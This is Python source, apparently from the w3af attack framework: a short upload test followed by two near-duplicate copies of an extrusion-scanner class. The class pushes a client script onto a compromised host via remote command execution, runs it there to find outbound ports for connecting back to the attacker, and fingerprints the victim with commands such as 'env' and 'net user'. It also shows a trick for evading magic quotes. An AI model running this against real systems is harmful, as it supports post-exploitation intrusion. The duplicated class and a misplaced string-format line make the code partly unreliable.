def test_upload_file(self): exec_method = commands.getoutput os = 'linux' echo_linux = EchoLinux(exec_method, os) self.assertTrue(echo_linux.can_transfer()) file_len = 8195 file_content = 'A' * file_len echo_linux.estimate_transfer_time(file_len) temp_file_inst = tempfile.NamedTemporaryFile() temp_fname = temp_file_inst.name upload_success = echo_linux.transfer(file_content, temp_fname) self.assertTrue(upload_success)
class extrusionScanner(object): """ This class is a wrapper that performs this process: - sends extrusion client to compromised machine - starts extrusion server - returns results from extrusion server to user :author: Andres Riancho ([email protected]) """ def __init__( self, exec_method, forceReRun=False, tcpPortList=[25, 80, 53, 1433, 8080], udpPortList=[53, 69, 139, 1025] ): """ :param exec_method: The exec_method used to execute commands on the remote host :param forceReRun: If forceReRun is True, the extrusion scanner won't fetch the results from the KB """ self._exec_method = exec_method self._forceReRun = forceReRun self._tcp_port_list = tcpPortList self._udp_port_list = udpPortList os = os_detection_exec(exec_method) if os == "windows": self._transferHandler = EchoWindows(exec_method, os) elif os == "linux": self._transferHandler = EchoLinux(exec_method, os) def _getRemoteId(self): """ Runs some commands on the remote host, concatenates outputs and creates a hash of the results. This will be an unique identifier for the host. """ om.out.debug("Creating a remote server fingerprint.") r = self._exec("ipconfig /all") r += self._exec("ifconfig") r += self._exec("uname -a") r += self._exec("env") r += self._exec("net user") m = hashlib.md5() m.update(r) return m.hexdigest() def is_available(self, port, proto): try: if proto.lower() == "tcp": serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if proto.lower() == "udp": serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) serversocket.bind(("", port)) serversocket.listen(5) except: return False else: serversocket.close() return True def estimate_scan_time(self): saved_results = kb.kb.raw_read("extrusionScanner", "extrusions") if saved_results: return 1 else: _, file_content, _ = self._selectExtrusionClient() return self._transferHandler.estimate_transfer_time(len(file_content)) + 8 def get_inbound_port(self, desiredProtocol="TCP"): """ Performs the process """ if not self._forceReRun: # Try to return the data from the kb ! remoteId = self._getRemoteId() saved_results = kb.kb.raw_read("extrusionScanner", "extrusions") if remoteId in saved_results: om.out.information("Reusing previous result from the knowledgeBase:") msg = '- Selecting port "%s" for inbound connections from the' msg += " compromised server to w3af." % saved_results[remoteId] om.out.information(msg) return saved_results[remoteId] om.out.information("Please wait some seconds while w3af performs an extrusion scan.") es = extrusionServer(self._tcp_port_list, self._udp_port_list) if not es.can_sniff(): msg = "The user running w3af can't sniff on the specified" msg += " interface. Hints: Are you root? Does this interface" msg += " exist?" raise w3afException(msg) else: # I can sniff, it makes sense to send the extrusion client interpreter, remoteFilename = self._sendExtrusionClient() # This sniffs for packets in a new thread sniff_thread = threading.Thread(target=es.sniff_and_analyze) sniff_thread.start() time.sleep(1) self._execExtrusionClient(interpreter, remoteFilename) res = es.get_result() om.out.information("Finished extrusion scan.") if not res: msg = "No inbound ports have been found. Maybe the extrusion" msg += " scan failed ?" raise w3afException(msg) else: host = res[0][0] msg = 'The remote host: "%s" can connect to w3af with these ports:' om.out.information(msg % host) port = None portList = [] for x in res: if x[0] == host: port = x[1] protocol = x[2] om.out.information("- " + str(port) + "/" + protocol) portList.append((port, protocol)) localPorts = [] for port, protocol in portList: if self.is_available(port, protocol): localPorts.append((port, protocol)) if not localPorts: raise w3afException("All the inbound ports are in use.") else: msg = "The following ports are not bound to a local process" msg += " and can be used by w3af:" om.out.information(msg) for lp, proto in localPorts: om.out.information("- " + str(lp) + "/" + proto) # Selecting the highest port if desiredProtocol.upper() == proto.upper(): port = lp msg = 'Selecting port "%s/%s" for inbound connections from' msg += " the compromised server to w3af." om.out.information(msg % (port, proto)) if not self._forceReRun: om.out.debug("Saving information in the kb.") saved_results = kb.kb.raw_read("extrusionScanner", "extrusions") if saved_results: saved_results[remoteId] = port else: saved_results = {} saved_results[remoteId] = port kb.kb.raw_write("extrusionScanner", "extrusions", saved_results) return port def _sendExtrusionClient(self): interpreter, extrusionClient, extension = self._selectExtrusionClient() remoteFilename = get_remote_temp_file(self._exec_method) remoteFilename += "." + extension # do the transfer apply(self._transferHandler.transfer, (extrusionClient, remoteFilename)) return interpreter, remoteFilename def _exec(self, command): """ A wrapper for executing commands """ om.out.debug("Executing: " + command) response = apply(self._exec_method, (command,)) om.out.debug('"' + command + '" returned: ' + response) return response def can_scan(self): try: self._selectExtrusionClient() except: return False else: return True def _selectExtrusionClient(self): """ This method selects the extrusion client to use based on the remote OS and some other factors like: - is python installed ? - is perl installed ? - is phpcli installed ? - bash sockets ? - gcc compiler ? """ ### TODO! Implement this! if "6" in self._exec("python -c print+3+3"): # "python -c 'print 3+3'" fails with magic quotes on... but # this trick of the print+3+3 works ( returns 6 ) and ALSO evades magic quotes filename = os.path.join("core", "controllers", "extrusion_scanning", "client", "extrusionClient.py") fileContent = file(filename).read() extension = "py" interpreter = "python" else: msg = "Failed to find a suitable extrusion scanner client for" msg += " the remote system." raise w3afException(msg) return interpreter, fileContent, extension def _execExtrusionClient(self, interpreter, remoteFilename): local_address = cf.cf.get("local_ip_address") if local_address is None: raise Exception("Invalid environment: no local address found in cf.") cmd_fmt = "%s %s %s %s %s" cmd = cmd_fmt % ( interpreter, remoteFilename, local_address, ",".join([str(x) for x in self._tcp_port_list]), ",".join([str(x) for x in self._udp_port_list]), ) res = self._exec(cmd) if "OK." not in res: raise w3afException("The extrusion client failed to execute.") else: om.out.debug("The extrusion client run as expected.")
class extrusionScanner(object): ''' This class is a wrapper that performs this process: - sends extrusion client to compromised machine - starts extrusion server - returns results from extrusion server to user :author: Andres Riancho ([email protected]) ''' def __init__(self, exec_method, forceReRun=False, tcpPortList=[25, 80, 53, 1433, 8080], udpPortList=[53, 69, 139, 1025]): ''' :param exec_method: The exec_method used to execute commands on the remote host :param forceReRun: If forceReRun is True, the extrusion scanner won't fetch the results from the KB ''' self._exec_method = exec_method self._forceReRun = forceReRun self._tcp_port_list = tcpPortList self._udp_port_list = udpPortList os = os_detection_exec(exec_method) if os == 'windows': self._transferHandler = EchoWindows(exec_method, os) elif os == 'linux': self._transferHandler = EchoLinux(exec_method, os) def _getRemoteId(self): ''' Runs some commands on the remote host, concatenates outputs and creates a hash of the results. This will be an unique identifier for the host. ''' om.out.debug('Creating a remote server fingerprint.') r = self._exec('ipconfig /all') r += self._exec('ifconfig') r += self._exec('uname -a') r += self._exec('env') r += self._exec('net user') m = hashlib.md5() m.update(r) return m.hexdigest() def is_available(self, port, proto): try: if proto.lower() == 'tcp': serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if proto.lower() == 'udp': serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) serversocket.bind(('', port)) serversocket.listen(5) except: return False else: serversocket.close() return True def estimate_scan_time(self): saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: return 1 else: _, file_content, _ = self._selectExtrusionClient() return self._transferHandler.estimate_transfer_time( len(file_content)) + 8 def get_inbound_port(self, desiredProtocol='TCP'): ''' Performs the process ''' if not self._forceReRun: # Try to return the data from the kb ! remoteId = self._getRemoteId() saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if remoteId in saved_results: om.out.information( 'Reusing previous result from the knowledgeBase:') msg = '- Selecting port "%s" for inbound connections from the' msg += ' compromised server to w3af.' % saved_results[remoteId] om.out.information(msg) return saved_results[remoteId] om.out.information( 'Please wait some seconds while w3af performs an extrusion scan.') es = extrusionServer(self._tcp_port_list, self._udp_port_list) if not es.can_sniff(): msg = 'The user running w3af can\'t sniff on the specified' msg += ' interface. Hints: Are you root? Does this interface' msg += ' exist?' raise w3afException(msg) else: # I can sniff, it makes sense to send the extrusion client interpreter, remoteFilename = self._sendExtrusionClient() # This sniffs for packets in a new thread sniff_thread = threading.Thread(target=es.sniff_and_analyze) sniff_thread.start() time.sleep(1) self._execExtrusionClient(interpreter, remoteFilename) res = es.get_result() om.out.information('Finished extrusion scan.') if not res: msg = 'No inbound ports have been found. Maybe the extrusion' msg += ' scan failed ?' raise w3afException(msg) else: host = res[0][0] msg = 'The remote host: "%s" can connect to w3af with these ports:' om.out.information(msg % host) port = None portList = [] for x in res: if x[0] == host: port = x[1] protocol = x[2] om.out.information('- ' + str(port) + '/' + protocol) portList.append((port, protocol)) localPorts = [] for port, protocol in portList: if self.is_available(port, protocol): localPorts.append((port, protocol)) if not localPorts: raise w3afException('All the inbound ports are in use.') else: msg = 'The following ports are not bound to a local process' msg += ' and can be used by w3af:' om.out.information(msg) for lp, proto in localPorts: om.out.information('- ' + str(lp) + '/' + proto) # Selecting the highest port if desiredProtocol.upper() == proto.upper(): port = lp msg = 'Selecting port "%s/%s" for inbound connections from' msg += ' the compromised server to w3af.' om.out.information(msg % (port, proto)) if not self._forceReRun: om.out.debug('Saving information in the kb.') saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: saved_results[remoteId] = port else: saved_results = {} saved_results[remoteId] = port kb.kb.raw_write('extrusionScanner', 'extrusions', saved_results) return port def _sendExtrusionClient(self): interpreter, extrusionClient, extension = self._selectExtrusionClient() remoteFilename = get_remote_temp_file(self._exec_method) remoteFilename += '.' + extension # do the transfer apply(self._transferHandler.transfer, (extrusionClient, remoteFilename)) return interpreter, remoteFilename def _exec(self, command): ''' A wrapper for executing commands ''' om.out.debug('Executing: ' + command) response = apply(self._exec_method, (command, )) om.out.debug('"' + command + '" returned: ' + response) return response def can_scan(self): try: self._selectExtrusionClient() except: return False else: return True def _selectExtrusionClient(self): ''' This method selects the extrusion client to use based on the remote OS and some other factors like: - is python installed ? - is perl installed ? - is phpcli installed ? - bash sockets ? - gcc compiler ? ''' ### TODO! Implement this! if '6' in self._exec('python -c print+3+3'): # "python -c 'print 3+3'" fails with magic quotes on... but # this trick of the print+3+3 works ( returns 6 ) and ALSO evades magic quotes filename = os.path.join('core', 'controllers', 'extrusion_scanning', 'client', 'extrusionClient.py') fileContent = file(filename).read() extension = 'py' interpreter = 'python' else: msg = 'Failed to find a suitable extrusion scanner client for' msg += ' the remote system.' raise w3afException(msg) return interpreter, fileContent, extension def _execExtrusionClient(self, interpreter, remoteFilename): local_address = cf.cf.get('local_ip_address') if local_address is None: raise Exception( 'Invalid environment: no local address found in cf.') cmd_fmt = '%s %s %s %s %s' cmd = cmd_fmt % (interpreter, remoteFilename, local_address, ','.join([ str(x) for x in self._tcp_port_list ]), ','.join([str(x) for x in self._udp_port_list])) res = self._exec(cmd) if 'OK.' not in res: raise w3afException('The extrusion client failed to execute.') else: om.out.debug('The extrusion client run as expected.')